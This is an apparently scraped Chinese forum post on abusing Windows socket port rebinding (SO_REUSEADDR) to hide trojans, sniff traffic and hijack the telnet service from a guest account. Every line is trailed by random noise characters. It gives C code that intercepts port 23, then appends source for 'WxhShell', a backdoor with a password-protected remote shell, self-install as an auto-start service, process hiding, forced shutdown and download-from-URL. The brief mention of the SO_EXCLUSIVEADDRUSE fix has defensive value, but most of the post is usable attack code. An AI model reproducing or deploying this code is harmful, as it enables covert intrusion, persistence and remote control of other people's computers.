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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r>: ~!o*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); = 6Fpixq>  
g(_xo\  
  saddr.sin_family = AF_INET; 5P Zzaz<  
p{ Xde   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); mT:NC'b<9  
IOA2/ WQu  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hrNB"W|?x  
LBxmozT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Hr_5N,  
:V3z`}Rl  
  这意味着什么?意味着可以进行如下的攻击: }y%c.  
CvHE7H|-{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3 daI_Nx>  
}!Y=SP1e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +7\d78U  
l-Be5?|{_  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 i0:1+^3^U  
xi51,y+(5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1 |  
}u9#S  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >.M>,m\  
;6eBfMhL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 u,V_j|(e  
V7b;qC'  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _ amP:h  
ZDG~tCh=@  
  #include }?\^^v h7  
  #include lD^c_b  
  #include  TZ63=m  
  #include    9X?RJ."J  
  DWORD WINAPI ClientThread(LPVOID lpParam);   KomMzG:  
  int main() [ *Dj7z t:  
  { -"NK"nb  
  WORD wVersionRequested; t"zi'9$t  
  DWORD ret; e)= " Fq!  
  WSADATA wsaData; T>f6V 5  
  BOOL val; Ngj&1Ta&[  
  SOCKADDR_IN saddr; 6P3h955c  
  SOCKADDR_IN scaddr; ~-<MoCm!  
  int err; ,Nt^$2DZW  
  SOCKET s; k".kbwcaF  
  SOCKET sc; VKkvf"X  
  int caddsize; iC3C~?,7  
  HANDLE mt; ]5K+W  
  DWORD tid;   s+~GQcj<T  
  wVersionRequested = MAKEWORD( 2, 2 ); M^*\ $K%  
  err = WSAStartup( wVersionRequested, &wsaData ); []v$QR&u#v  
  if ( err != 0 ) { ta6>St7.  
  printf("error!WSAStartup failed!\n"); @DIEENiM  
  return -1; 35Fxzj $  
  } N]eBmv$|  
  saddr.sin_family = AF_INET; CT5s`v!s  
   U shIQh  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 43x2BW&&  
^2H;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); > 23$_'2  
  saddr.sin_port = htons(23); \-pqqSy  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GeDI\-  
  { 9dw* ++  
  printf("error!socket failed!\n"); ~o#mX?'7  
  return -1; ]J[d8S5  
  } {nXygg J  
  val = TRUE; _Dd>e=v  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 AT)b/ycC  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &8w# 4*W  
  { 5D.Sg;\  
  printf("error!setsockopt failed!\n"); Y/6>OD  
  return -1; ~+j2a3rv-{  
  } 9Vqy<7i1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 'da 'WZG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (8aj`> y  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 r<vy6  
.b+ix=:  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]/kpEx  
  { 5VP0Xa ~  
  ret=GetLastError(); 04jvrde8-O  
  printf("error!bind failed!\n"); =/_uk{  
  return -1; J,:&U wkv  
  } 5?F5xiW  
  listen(s,2); zPND $3&'  
  while(1) Q&N#q53  
  { (w#t V*  
  caddsize = sizeof(scaddr); %0}^M1  
  //接受连接请求 }dop]{RG  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _crhBp5@T3  
  if(sc!=INVALID_SOCKET) w8>h6x "  
  { GLyPgZ`|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); JC%&d1  
  if(mt==NULL) 4")`}T  
  { =$Mf:F@  
  printf("Thread Creat Failed!\n"); tnaFbmp  
  break; iX6>u4~(  
  } C&>*~  
  } &:g:7l]g  
  CloseHandle(mt); 7]xDMu'^&f  
  } r":anR( ;  
  closesocket(s); }a$.ngP  
  WSACleanup(); 'Zp{  
  return 0; chKK9SC+|  
  }   w^ut,`yW R  
  DWORD WINAPI ClientThread(LPVOID lpParam) UL-_z++G  
  { ' {UKO7   
  SOCKET ss = (SOCKET)lpParam; jOVF+9M  
  SOCKET sc; hK{H7Ey*  
  unsigned char buf[4096]; ^\AeX-q2v'  
  SOCKADDR_IN saddr; sde>LZet/  
  long num; VJqk0w+  
  DWORD val; A$3Rbn}"  
  DWORD ret; Cl`i|cF\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @]vY[O!&;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   xy[#LX)RW  
  saddr.sin_family = AF_INET; +ZM,E8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); [K.1 X=O}  
  saddr.sin_port = htons(23); qEr?4h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W\k8f+Ke  
  { bO2?DszT5  
  printf("error!socket failed!\n"); A vq+s.h  
  return -1; 8Rwk o6x  
  } /T)E&=Ds  
  val = 100; A}SGw.3  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &jHsFS  
  { Ztg_='n  
  ret = GetLastError(); :R,M Y"(  
  return -1; Fs(PVN  
  } Y@0'0   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [&n[p?  
  { )&c#?wx'w  
  ret = GetLastError(); GYx0U8MJ[e  
  return -1; Q2VF+g,  
  } tO 8\} u4c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) xKG7d8=  
  { gHLI>ew*QR  
  printf("error!socket connect failed!\n"); Sp80xV_B  
  closesocket(sc); t\K (zE  
  closesocket(ss); h6 {vbYj  
  return -1; ZOqS"3j! j  
  } &rBe -52  
  while(1) &.,K@OFE}  
  { Kd`(^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (QiA5!wg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 i=aR ~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 V ql4*OJW  
  num = recv(ss,buf,4096,0); YpDJ(61+  
  if(num>0) ,r~+ 9i0N  
  send(sc,buf,num,0); 172G  
  else if(num==0) p H  y  
  break; . ,^WCyvq  
  num = recv(sc,buf,4096,0); m!/TJhiQ  
  if(num>0) [34N/;5  
  send(ss,buf,num,0); y ("WnVI  
  else if(num==0) ,Y/B49  
  break; AU$~Ap*rsa  
  } 6P1s*u  
  closesocket(ss);  ma~#E$i&  
  closesocket(sc); sgp.;h'  
  return 0 ; = ^NvUrK  
  } b&U1^{(  
z l@^[km{  
%+(AKZu:  
========================================================== D*%am|QL  
@.e X8~3=  
下边附上一个代码,,WXhSHELL jmID@37t  
32[}@f2q  
========================================================== 35& ^spb  
#{8I FA  
#include "stdafx.h" 'Rn-SD~gIr  
pbzFzLal  
#include <stdio.h> u#@/^h;  
#include <string.h> \Fz9O-jb4  
#include <windows.h> ^3$l!>me  
#include <winsock2.h> bmv8nal<Y  
#include <winsvc.h> E 5&Z={  
#include <urlmon.h> 7AV{ h[J  
~T1W-ig4[*  
#pragma comment (lib, "Ws2_32.lib") MxsLrWxm  
#pragma comment (lib, "urlmon.lib") DXLXGvcM  
1Z# $X`  
#define MAX_USER   100 // 最大客户端连接数 86r"hy~  
#define BUF_SOCK   200 // sock buffer hC<ROD  
#define KEY_BUFF   255 // 输入 buffer UCLM*`M  
1INX#qTZ  
#define REBOOT     0   // 重启 =Zq6iMD  
#define SHUTDOWN   1   // 关机 &kg^g%%  
qVn<c,8#  
#define DEF_PORT   5000 // 监听端口 5*YoK)2J  
N(&{~*YE  
#define REG_LEN     16   // 注册表键长度 7ftn gBv?  
#define SVC_LEN     80   // NT服务名长度 ,9P-<P  
0\dmp'j]  
// 从dll定义API rOSov"7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l_^OdQ9D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FU3K?A B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); E]@&<TFq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9F/I",EA  
C?z S}ob  
// wxhshell配置信息 XN df  
struct WSCFG { D\Ak-$kJ^  
  int ws_port;         // 监听端口 2Vx4"fHP#N  
  char ws_passstr[REG_LEN]; // 口令 y(COB6r  
  int ws_autoins;       // 安装标记, 1=yes 0=no #fuUAbU0X  
  char ws_regname[REG_LEN]; // 注册表键名 f7=MgFi  
  char ws_svcname[REG_LEN]; // 服务名 o<Zlm)"%1  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {"ST hTZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UR sx>yx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VE )D4RL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  Unk/uk  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F9r.DG$}  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k~>(XG[x&  
QQl.5'PP  
}; ?xj8a3F  
V:n0BlZ,B  
// default Wxhshell configuration ppAbG,7  
struct WSCFG wscfg={DEF_PORT, +4?Lwp'q  
    "xuhuanlingzhe", vzIo2 ,/7  
    1, LDlYLs F9  
    "Wxhshell", Vq'7gJj'  
    "Wxhshell", ,h*gd^i  
            "WxhShell Service", 7V"?o  
    "Wrsky Windows CmdShell Service",  +A3/^C0  
    "Please Input Your Password: ", M)bQvjj  
  1, V!Wy[u  
  "http://www.wrsky.com/wxhshell.exe", \*$^}8  
  "Wxhshell.exe" i KSRr#/  
    }; % N8I'*u  
f8Hq&_Pn   
// 消息定义模块 P6gkbtg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K.  ;ev  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Af|h*V4Xu  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; S2$E`' J  
char *msg_ws_ext="\n\rExit."; qed_PsI  
char *msg_ws_end="\n\rQuit."; pv]@}+<Dt  
char *msg_ws_boot="\n\rReboot..."; HMq}){=S  
char *msg_ws_poff="\n\rShutdown..."; [DaAvN^0A  
char *msg_ws_down="\n\rSave to "; Z0<Vss  
'LYDJ~  
char *msg_ws_err="\n\rErr!"; Px_8lB/;  
char *msg_ws_ok="\n\rOK!"; '.|}  
`^)`J  
char ExeFile[MAX_PATH]; x"2p5T7*>  
int nUser = 0; q<09]i  
HANDLE handles[MAX_USER]; R$:-~<O  
int OsIsNt; F-;JN  
O/~T+T%  
SERVICE_STATUS       serviceStatus; 8SjCU+V  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5{! fa  
?{J1&;j*  
// 函数声明 @yTu/U  
int Install(void); gfL :SP8  
int Uninstall(void); g0,~|.  
int DownloadFile(char *sURL, SOCKET wsh); }i+C)VUX   
int Boot(int flag); [+[ W\6  
void HideProc(void); y_WC"  
int GetOsVer(void); o]? yyP  
int Wxhshell(SOCKET wsl); mI lg=8:  
void TalkWithClient(void *cs); }9@rhW  
int CmdShell(SOCKET sock); ^%\a,~  
int StartFromService(void); 0F$|`v"0  
int StartWxhshell(LPSTR lpCmdLine); Zo=,!@q(  
-h8mJ D%Oi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !@z9n\Yj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); fk}Raej g  
voZaJ2ho/O  
// 数据结构和表定义 Z!v,;MW  
SERVICE_TABLE_ENTRY DispatchTable[] = >@N.jw>#T  
{ `gl?y;xC  
{wscfg.ws_svcname, NTServiceMain}, DwBe_h.  
{NULL, NULL} OS[ s Qo5  
}; Q 8]X  
+wQ5m8E  
// 自我安装 /E6)>y66  
int Install(void) r6S  
{ TXB!Y!RG#  
  char svExeFile[MAX_PATH]; %<yW(s9{  
  HKEY key; 2^XmtT  
  strcpy(svExeFile,ExeFile); 6C$+D  
?c.\\2>|F  
// 如果是win9x系统,修改注册表设为自启动 R&uPoY,f  
if(!OsIsNt) { B;bP~e>W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dz#"9i5b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I]ej ]46K  
  RegCloseKey(key); br\3}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { IR/S`HD_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); as:=QMV  
  RegCloseKey(key); M.g2y&8  
  return 0; wGO-Z']i  
    } Gr({30"8  
  } m]DP{-s4  
} ]Jz=. F sO  
else { ` k] TOc  
caEIE0H~  
// 如果是NT以上系统,安装为系统服务 P~(&lu/;P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {r&r^!K;  
if (schSCManager!=0) k2Q[v  
{ Pr>$m{ Z  
  SC_HANDLE schService = CreateService %\it4 r3  
  ( B~o3Z  
  schSCManager, .3EEi3z6z  
  wscfg.ws_svcname, 5T/+pC$e=  
  wscfg.ws_svcdisp, {:cGt2*~^  
  SERVICE_ALL_ACCESS, P#pb48^-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d^'_H>x  
  SERVICE_AUTO_START, _3 !s{  
  SERVICE_ERROR_NORMAL, /8Lb_QH{  
  svExeFile, xEG:KSH  
  NULL, @G& oUhS  
  NULL, `y'%dY}$n  
  NULL, }5EH67  
  NULL, |f}wOkl  
  NULL [?z;'O}y  
  ); u9_? c G-  
  if (schService!=0) IlEU6Rs  
  { hbXmIst  
  CloseServiceHandle(schService); &'\-M6GW  
  CloseServiceHandle(schSCManager); #cR5k@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?r;F'%N=  
  strcat(svExeFile,wscfg.ws_svcname); ZV Ko$q:F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o5],c9R9b  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); dhLd2WSyH  
  RegCloseKey(key); +46& Zb35  
  return 0; P'$2%P$8:~  
    } i (rYc  
  } j\#)'>"  
  CloseServiceHandle(schSCManager); Fkv284,LM  
} ; <- f  
} .9DhD=8aIO  
FkMM>X  
return 1; J;fbE8x  
} H( LK}[  
@V4nc 'o.  
// 自我卸载 p7},ymQ|YQ  
int Uninstall(void) 25G~rklk  
{ VU\G49  
  HKEY key; "+Ks#  
6hcs )X7m  
if(!OsIsNt) { p+I`xyk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;&b=>kPlZ  
  RegDeleteValue(key,wscfg.ws_regname); J?p|Vy|9  
  RegCloseKey(key); c7rC!v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { af'ncZ@U  
  RegDeleteValue(key,wscfg.ws_regname); V\Lh(zPt  
  RegCloseKey(key); Xk^<}Ep)c  
  return 0; SOD3MsAK  
  } mv<cyWp  
} \hJLa  
} be6`Sv"H  
else { $7-4pW$y  
8pmWw?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :>y5'q@R  
if (schSCManager!=0) 45+kwo0  
{ Nj;(QhYZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3&X5*-U  
  if (schService!=0) #;2kN &  
  { Ornm3%p+e  
  if(DeleteService(schService)!=0) { ?:PF;\U  
  CloseServiceHandle(schService); NR^Z#BU  
  CloseServiceHandle(schSCManager); j"0TAYmXwu  
  return 0; 'mU\X!- 4<  
  } %z1hXh#+  
  CloseServiceHandle(schService); |$T?P*pI.  
  } GyE5jh2  
  CloseServiceHandle(schSCManager); UuJ gB)  
} OoOwEV2p_  
} rp-.\Hl/a  
.>5E 4^$%  
return 1; o hPXwp?]  
} ++kVq$9@y  
-z/>W+k  
// 从指定url下载文件 5t-(MY  
int DownloadFile(char *sURL, SOCKET wsh) t-FrF</ 0  
{ l) Cg?9  
  HRESULT hr; mqQ//$Y   
char seps[]= "/"; r^d:Po  
char *token; 'kCr1t  
char *file; e<{Ani0  
char myURL[MAX_PATH]; V=GP_^F  
char myFILE[MAX_PATH]; pr"q-S>E  
c"'JMq  
strcpy(myURL,sURL); GQkI7C  
  token=strtok(myURL,seps); EU7mP MxJ  
  while(token!=NULL) L{1PCs36c  
  { Yv;iduc('  
    file=token; v~O2y>8Z  
  token=strtok(NULL,seps); 9&4z4@on  
  } uY )|   
g<4@5OQKu  
GetCurrentDirectory(MAX_PATH,myFILE); xirZ.wjW  
strcat(myFILE, "\\"); v3/G.B@=  
strcat(myFILE, file); ~ Q;qRx  
  send(wsh,myFILE,strlen(myFILE),0); 0o!Egq_  
send(wsh,"...",3,0); 'k$j^ |r>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p\|*ff0  
  if(hr==S_OK) z!9w Lo^r  
return 0; 1`&"U[{  
else ADZU?7)  
return 1; d>Np; "  
vB/G#\Zqz  
} _%aJ/Y0Cy  
i\P)P!  
// 系统电源模块 H|!|fo-Tx  
int Boot(int flag) o7@81QA!e  
{ y}lqF8s  
  HANDLE hToken; >]8H@. \  
  TOKEN_PRIVILEGES tkp; NHz hGg]  
jTz~ V&^  
  if(OsIsNt) { uHO>FM,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); xcl8q:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pj'[ H  
    tkp.PrivilegeCount = 1; >uDE<MUC  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lZ}H?n%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); arj?U=zy  
if(flag==REBOOT) { (f t$ R?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) r`CsR0[  
  return 0; ^5*9BwH`  
} LZ*ZXFIg  
else { dX~$#-Ad86  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U> 1voc  
  return 0; Xkb\fR6<K  
} KP]{=~(  
  } ],ISWb  
  else { w57D qG>  
if(flag==REBOOT) { kEM|;&=_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) f+W %X  
  return 0; z0-`D.D@\  
} ZncJ  
else {  [E|%  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Tf?|*P  
  return 0; 3N5b3F  
} OuF%!~V   
} ).1 F0T  
V17SJSC-  
return 1; uz;z+Bd^  
} vTU*6)  
Qc]Ki3ls  
// win9x进程隐藏模块 > hmBV7nR  
void HideProc(void) ify}xv  
{ -mK;f$X  
mXXU{IwUe  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IX) \z  
  if ( hKernel != NULL ) &C=[D_h  
  { ]728x["(19  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +&h<:/ V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;/g Bjp]H  
    FreeLibrary(hKernel); aoVfvz2Y  
  } /V@9!  
R<n'v.~"A  
return; yd4\%%]  
} gG6j>%y  
'9d] B^)F  
// 获取操作系统版本 9s'[p'[Z  
int GetOsVer(void) *Z,?VEO  
{ &`IC 3O5  
  OSVERSIONINFO winfo; "nEfk{g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )4BLm  
  GetVersionEx(&winfo); i917d@r(<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #?EmC]N7  
  return 1; CDU$Gi  
  else B78e*nNS#2  
  return 0; 9d_ Zdc  
} YA[\|I33  
=9AX\2w*H;  
// 客户端句柄模块 FH}2wO~_  
int Wxhshell(SOCKET wsl) #XPY\n^k  
{ _gl7Ma  
  SOCKET wsh; AeN$AqQd/  
  struct sockaddr_in client; )eaEc9o>  
  DWORD myID; Ri mz~}+  
q71~Y:7f  
  while(nUser<MAX_USER) qzt.k^'-^  
{ qPG>0 O  
  int nSize=sizeof(client); kI|7o>}<   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3q*p#l~  
  if(wsh==INVALID_SOCKET) return 1; +<1MY'>y  
>`(]&o6<$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oW \k%Vj  
if(handles[nUser]==0) l" P3lKS  
  closesocket(wsh); vlS+UFH0  
else (AI 4a+  
  nUser++; ;*}tbh3;.  
  } (764-iv(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); LX2Re ]&  
]5Mq^@mD'  
  return 0; X&14;lu%p  
} C_ 4(- OWq  
j}fu|-  
// 关闭 socket 6I!B>V#U+  
void CloseIt(SOCKET wsh) |%l&H/  
{ 6k-  
closesocket(wsh); ]oIP;J:&  
nUser--; 1HS43!  
ExitThread(0); {GP#/5$=  
} lzDA0MPI:  
)~[rb<:)b  
// 客户端请求句柄 &b:SDl6  
void TalkWithClient(void *cs) d$T856  
{ sRkPXzK  
)j/b `V6  
  SOCKET wsh=(SOCKET)cs; ^Ez`WP  
  char pwd[SVC_LEN]; O=;}VZ<9  
  char cmd[KEY_BUFF]; SW WeN#Q  
char chr[1]; RR9G$}WS(  
int i,j; &6q67  
V krjs0  
  while (nUser < MAX_USER) { eOUv#F  
h51)kN:  
if(wscfg.ws_passstr) { i_<GSUTTr/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /=IBK`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (R|Ftjs .  
  //ZeroMemory(pwd,KEY_BUFF); }u?DK,R  
      i=0; =Hf`yH\#  
  while(i<SVC_LEN) { fuao*L]  
Pof]9qE-y  
  // 设置超时 }2+*E}g  
  fd_set FdRead; e61e|hoX\  
  struct timeval TimeOut; NPjNkpWm&=  
  FD_ZERO(&FdRead); 6TkV+\  
  FD_SET(wsh,&FdRead); tx_h1[qi  
  TimeOut.tv_sec=8; vMv? fE"  
  TimeOut.tv_usec=0; 9L7jYy=A#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ~A$y-Dt'  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .6HHUy  
yp l`vJ]X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dk>qTY+j5  
  pwd=chr[0]; i!u:]14>  
  if(chr[0]==0xd || chr[0]==0xa) { gPqdl6#c  
  pwd=0; U]}f]GK  
  break; wGhy"1g#  
  } n&\DJzW\#  
  i++; y1OpZ  
    } 26B+qXEt  
 SodYb  
  // 如果是非法用户,关闭 socket V<ExR@|}.%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UR<a7j"@2  
} N4rDe]JnPR  
7;r Jr&.)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /0z#0gNp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w tSX(LN Y  
ywY[g{4+  
while(1) { Aw"Y_S8.  
*c>B,  
  ZeroMemory(cmd,KEY_BUFF); NnTAKd8  
Q|7l!YTzVu  
      // 自动支持客户端 telnet标准   b`& :`  
  j=0; 5-2#H?:U  
  while(j<KEY_BUFF) { w 21g&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :sA$LNj}  
  cmd[j]=chr[0]; d<_#Q7]I4  
  if(chr[0]==0xa || chr[0]==0xd) { SbK6o:[  
  cmd[j]=0; G/4~_\YMq  
  break; (,^jgv|I  
  } KybrSa  
  j++; @ebSM#F?  
    } qW 2'?B3<  
w{89@ XRC  
  // 下载文件 J u"K"  
  if(strstr(cmd,"http://")) { ~sMEfY,p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Bv{DZ?{s  
  if(DownloadFile(cmd,wsh)) d:3OC&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JyDg=%-$2  
  else "|nh=!L  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); SL 5QhP  
  } 'LMMo4o3  
  else { EZJ[+ -Q;  
jUGk=/*]e  
    switch(cmd[0]) { ^u-;VoK  
  'dJ(x  
  // 帮助 1+v!)Y>Z&  
  case '?': { Ye]-RN/W  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BFvRU5&Sz  
    break; $A^OP{  
  } nA#N,^Rr  
  // 安装 9CPr/q9'  
  case 'i': { QE4TvnhK  
    if(Install()) ]=]fIKd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _"h1#E  
    else T7LO}(I.&  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6H ^=\  
    break; dM)x|b3z  
    } K9QC$b9(  
  // 卸载 |32uC3?o  
  case 'r': { \\Te\l|L  
    if(Uninstall()) K;lxPM]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kK_9I (7c  
    else CfEACH4_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nq"J[l*+g  
    break; %`\=qSf*  
    } '#NDR:J"  
  // 显示 wxhshell 所在路径 t~M0_TnXlP  
  case 'p': { @&f~#Xe  
    char svExeFile[MAX_PATH]; 0S#T}ITm4Z  
    strcpy(svExeFile,"\n\r"); `=P=i>,  
      strcat(svExeFile,ExeFile); e)f!2'LL  
        send(wsh,svExeFile,strlen(svExeFile),0); L "5;<  
    break; se*!OiOt  
    } k]=lo'bF4  
  // 重启 L XHDX  
  case 'b': { aSt:G*a"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B\\M%!a>  
    if(Boot(REBOOT)) &~V6g(9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); guk{3<d:Jy  
    else { Xk`'m[  
    closesocket(wsh); 9w.ZXd  
    ExitThread(0); y`a]##1j$M  
    } F*p@hl  
    break; @cB6,iUr  
    } )-^[;:B\k"  
  // 关机 :&J1#% t  
  case 'd': { -0>s`ruor  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k{J\)z  
